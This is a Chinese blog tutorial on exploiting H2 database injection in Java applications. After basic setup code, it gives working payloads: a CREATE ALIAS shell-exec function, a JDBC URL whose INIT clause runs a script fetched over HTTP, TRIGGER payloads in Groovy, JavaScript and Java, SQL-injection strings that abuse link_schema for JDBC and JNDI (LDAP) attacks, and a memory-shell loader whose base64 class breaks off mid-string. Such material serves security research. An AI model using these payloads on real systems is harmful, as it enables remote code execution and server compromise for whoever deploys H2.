Java安全领域中H2数据库注入的学习

Java安全领域中H2数据库注入的研习

目录:

前言

在研习Spring框架的应用时,发现很多场景用到H2数据库,于是展开对其相关利用手法的学习。

前置学习

介绍

H2是一款由Java开发的嵌入式数据库,像Spring Boot默认就使用它。它本质是一个类库,仅有一个jar文件,能直接嵌入应用项目中。H2主要有以下三个用途:
1. 其一,最为常用的是可与应用程序一同打包发布,如此能便捷地存储少量结构化数据。
2. 其二用于单元测试,启动速度快,且能关闭持久化功能,每个用例执行完可即刻恢复初始状态。
3. 其三作为缓存,当作内存数据库,补充NoSQL。当某些场景数据模型必须为关系型时,可将其当作Memcached使用,作为后端MySQL/Oracle的缓冲层,缓存不常变化但频繁访问的数据,比如字典表、权限表。

环境搭建

在pom.xml中添加如下依赖:

<dependencies>
    <!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
    <dependency>
        <groupId>com.h2database</groupId>
        <artifactId>h2</artifactId>
        <version>2.0.204</version>
        <scope>compile</scope>
    </dependency>
</dependencies>

也有带UI界面的情况,接下来直接通过代码来进行分析。

demo

编写一个连接的示例:

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Properties;

public class Demo {
    public static void main(String[] args) {
        String DRIVER_CLASS = "org.h2.Driver"; // H2 JDBC驱动的类名
        String JDBC_URL = "jdbc:h2:mem:test_any"; // 使用内存数据库
        Properties info = new Properties();
        info.setProperty("user", "sa");
        info.setProperty("password", "");

        try {
            Class.forName(DRIVER_CLASS); // 加载驱动类
            try (Connection conn = DriverManager.getConnection(JDBC_URL, info)) {
                System.out.println("连接成功!");
            }
        } catch (ClassNotFoundException | SQLException e) {
            e.printStackTrace();
        }
    }
}

JDBC_URL:连接数据库,这里是h2数据库,格式为jdbc:h2:<数据库位置>
- mem:testdb表示使用内存数据库(程序结束后数据消失)。
- 若写成jdbc:h2:./test,则变为文件数据库,保存在本地。

H2中默认用户sa的密码为空。创建表并进行查询的示例:

import java.sql.*;
import java.util.Properties;

public class CreateDemo {
    public static void main(String[] args) {
        String DRIVER_CLASS = "org.h2.Driver";
        String JDBC_URL = "jdbc:h2:mem:test_any1";
        Properties info = new Properties();
        info.setProperty("user", "sa");
        info.setProperty("password", "");

        try {
            Class.forName(DRIVER_CLASS);
            try (Connection conn = DriverManager.getConnection(JDBC_URL, info);
                 Statement stmt = conn.createStatement()) {

                System.out.println("连接H2数据库成功!");

                // 创建test表
                stmt.execute("CREATE TABLE test (" +
                        "id INT PRIMARY KEY, " +
                        "username VARCHAR(50), " +
                        "age INT)");
                System.out.println("表test创建成功");

                // 插入数据
                stmt.executeUpdate("INSERT INTO test (id, username, age) VALUES " +
                        "(1, 'bob', 11), " +
                        "(2, 'john', 12)");
                System.out.println("数据插入成功");

                // 查询验证
                System.out.println("\n当前表中的数据:");
                ResultSet rs = stmt.executeQuery("SELECT * FROM test");
                while (rs.next()) {
                    System.out.printf("id=%d, username=%s, age=%d%n",
                            rs.getInt("id"),
                            rs.getString("username"),
                            rs.getInt("age"));
                }
            }
        } catch (ClassNotFoundException | SQLException e) {
            System.err.println("发生错误:");
            e.printStackTrace();
        }
    }
}

conn.createStatement()创建一个Statement对象用于执行SQL语句,其他是基础的sql语句,比如插入数据用executeUpdate,查询语句用executeQuery。

漏洞分析

RCE
Alias Script RCE

若能执行任意sql语句,可创建一个自定义函数,若该函数具备与exec相同的功能则可实现rce,这和mysql数据库中的udf类似。

//创建别名
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;

//调用SHELLEXEC执行命令
CALL SHELLEXEC('id');
CALL SHELLEXEC('whoami');
INIT RunScript RCE

在H2数据库初始化时或能控制JDBC链接时可实现RCE,其中一种方式是利用INIT,在进行H2连接时可执行一段SQL脚本,我们可构造恶意脚本进行RCE。

poc.sql内容:

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}';CALL EXEC ('calc')

payload:

jdbc:h2:mem:testdb;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9090/poc.sql'
TRIGGER Script RCE

payload:

//groovy
Class.forName("org.h2.Driver");
String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")" + "})" + "def x";
String JDBC_URL    = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'";

//js     
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
        "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
        "java.lang.Runtime.getRuntime().exec('calc.exe')\n" +
        "$$\n";

除了Alias别名还可使用TRIGGER来编写groovy或js代码实现rce,groovy依赖一般不常见,所以js是更通用的选择,这里将poc.sql简化成一句话且无需远程环境交互(大多数H2版本默认支持这类执行行为)。

Litch1研究了CREATE ALIAS实现的源代码,发现SQL语句中对于JAVA方法的定义交由源代码编译器处理。有三种支持的编译器:Java/Javascript/Groovy,但ruby(试过不行,应该需要特殊依赖或配置)。

根据传入开头判断是哪种编译器,groovy编译器调用GroovyCompiler.parseClass()解析groovy代码,js编译器调用org.h2.schema.TriggerObject#loadFromSource,不仅编译源代码还调用eval执行。

高版本JDK下的RCE

在上述TRIGGER Script RCE中,依靠js实现rce,Nashorn是默认内置的JavaScript引擎,但在JDK 15+中,Nashorn已被移除(除非手动引入)。

payload:

String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
        "INFORMATION_SCHEMA.TABLES AS $$ void poc() throws Exception{ Runtime.getRuntime().exec(\"calc\")\\;}$$";

还是看到org.h2.util.SourceCompiler#getClass

public Class<?> getClass(String var1) throws ClassNotFoundException {
    Class var2 = (Class)this.compiled.get(var1);
    if (var2 != null) {
        return var2;
    } else {
        String var3 = (String)this.sources.get(var1);
        if (isGroovySource(var3)) {
            Class var5 = SourceCompiler.GroovyCompiler.parseClass(var3, var1);
            this.compiled.put(var1, var5);
            return var5;
        } else {
            ClassLoader var4 = new ClassLoader(this.getClass().getClassLoader()) {
                public Class<?> findClass(String var1) throws ClassNotFoundException {
                    Class var2 = (Class)SourceCompiler.this.compiled.get(var1);
                    if (var2 == null) {
                        String var3 = (String)SourceCompiler.this.sources.get(var1);
                        String var4 = null;
                        int var5 = var1.lastIndexOf(46);
                        String var6;
                        if (var5 >= 0) {
                            var4 = var1.substring(0, var5);
                            var6 = var1.substring(var5 + 1);
                        } else {
                            var6 = var1;
                        }

                        String var7 = SourceCompiler.getCompleteSourceCode(var4, var6, var3);
                        if (SourceCompiler.JAVA_COMPILER != null && SourceCompiler.this.useJavaSystemCompiler) {
                            var2 = SourceCompiler.this.javaxToolsJavac(var4, var6, var7);
                        } else {
                            byte[] var8 = SourceCompiler.this.javacCompile(var4, var6, var7);
                            if (var8 == null) {
                                var2 = this.findSystemClass(var1);
                            } else {
                                var2 = this.defineClass(var1, var8, 0, var8.length);
                            }
                        }

                        SourceCompiler.this.compiled.put(var1, var2);
                    }

                    return var2;
                }
            };
            return var4.loadClass(var1);
        }
    }
}

这里传入的值若既不是groovy也不是javascript,H2默认当作Java源码处理,用Javac编译后用loadClass加载该类。

调用栈:

loadFromSource:113, TriggerObject (org.h2.schema)
load:87, TriggerObject (org.h2.schema)
setTriggerAction:149, TriggerObject (org.h2.schema)
setTriggerSource:142, TriggerObject (org.h2.schema)
update:125, CreateTrigger (org.h2.command.ddl)
update:173, CommandContainer (org.h2.command)
executeUpdate:252, Command (org.h2.command)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:338, SessionRemote (org.h2.engine)
<init>:117, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:190, DriverManager (java.sql)
main:25, rce_test

很简单,就是加载自己写的java代码,INIT RunScript RCE和Alias Script RCE也是如此。

文件读取

官方文档:https://www.h2database.com/html/functions.html#file_read

按照文档格式使用即可。

写文件

同样参考官方文档:

img

第一个参数是写入值,第二个参数是写入文件地址。

JDBC

用到link_schema函数:

img

第二个参数是数据库驱动名称,第三个参数是jdbc连接地址,连接时执行sql语句,用INIT RunScript RCE来利用。

String username = "bob' union select 1,2,3 from link_schema('any_test', '', 'jdbc:h2:mem:testdb1;INIT=RUNSCRIPT FROM ''http://127.0.0.1:9090/poc.sql''', 'sa', 'sa', 'PUBLIC')--";
JNDI

这里还是用link_schema函数,根据其实现类org.h2.expression.function.table.LinkSchemaFunction的getValue函数。

JdbcUtils.getConnection的var3、var4是传入的数据库驱动名称和url地址,跟进实现。如果url以jdbc:h2:开头则jdbc连接,否则用loadUserClass加载,loadUserClass中写明允许加载所有类,回到JdbcUtils.getConnection中,如果加载的类是javax.naming.Context类或其子类、实现类,就直接lookup,可打jndi,payload:

String username = "bob' union select 1,2,3 from link_schema('any_test', 'javax.naming.InitialContext', 'ldap://127.0.0.1:1389/v6uu9g', 'sa', 'sa', 'PUBLIC')--";

这个对h2依赖版本有限制,2.1.x全版本有限制,2.0.x < 2.0.206无限制。

内存马

不出网时方便rce,写入本地文件后发起jdbc连接。

poc.sql内容:
```sql
CREATE ALIAS EXEC AS '

void e(String cmd) throws Exception{
    String evilClassBase64 = "yv66vgAAADQBTQoAIQC5CgC6ALsKALwAvQoAvAC+CgC6AL8KACEAwAoAwQC7BwDCCgAhAMMKAEgAxAoAIwDFCgDBAMYKAEkAxwoAyADJCgDIAMoHAMsIAH8KAEgAzAcAzQoAEwDOBwDPCADQBwDRCgAXAMcKABcA0ggA0woAFwDUBwDVCgAcAMcKABwA0goAHADWBwDXBwDYBwDZBwDaCgBIANsIAIoHANwKACYA3QoAFQDeCgAVAN8IAOALAOEA4gsA4wDkCADlCADmCgDnAOgKADQA6QgA6goANADrBwDsBwDtCADuCADvCgAzAPAIAPEIAPIHAPMKADMA9AoA9QD2CgA6APcIAPgKADoA+QoAOgD6CgA6APsKADoA/AoA/QD+CgD9AP8KAP0A/AsBAAEBBwECBwEDBwEEBwEFAQAVY3JlYXRlV2l0aENvbnN0cnVjdG9yAQBbKExqYXZhL2xhbmcvQ2xhc3M7TGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBABJjbGFzc1RvSW5zdGFudGlhdGUBABFMamF2YS9sYW5nL0NsYXNzOwEAEGNvbnN0cnVjdG9yQ2xhc3MBAAxjb25zQXJnVHlwZXMBABJbTGphdmEvbGFuZy9DbGFzczsBAAhjb25zQXJncwEAE1tMamF2YS9sYW5nL09iamVjdDsBAAdvYmpDb25zAQAfTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAAnNjAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFkxqYXZhL2xhbmcvQ2xhc3M8VFQ7PjsBABdMamF2YS9sYW5nL0NsYXNzPC1UVDs+OwEAFVtMamF2YS9sYW5nL0NsYXNzPCo+OwEAJUxqYXZhL2xhbmcvcmVmbGVjdC9SZWZsZWN0OwEAWUxqYXZhL2xhbmcvcmVmbGVjdC9SZWZsZWN0PCo+OwEAAnNjAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFkxqYXZhL2xhbmcvQ2xhc3M8KF07PjsBAAhDb25zdHJ1Y3RvcnMBAApTb3VyY2VGaWxlAQAWU2hlbGwuamF2YQwAXgD+AQBYb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9SZXF1ZXN0Q29udGV4dAEAMUxqYXZhL2xhbmcvUHJvY2Vzc1B1Ymxpc2hlcjsBAAR
版权声明:程序员胖胖胖虎阿 发表于 2025年9月17日 下午10:53。
转载请注明:Java安全领域中H2数据库注入的学习 | 胖虎的工具箱-编程导航

相关文章

暂无评论

暂无评论...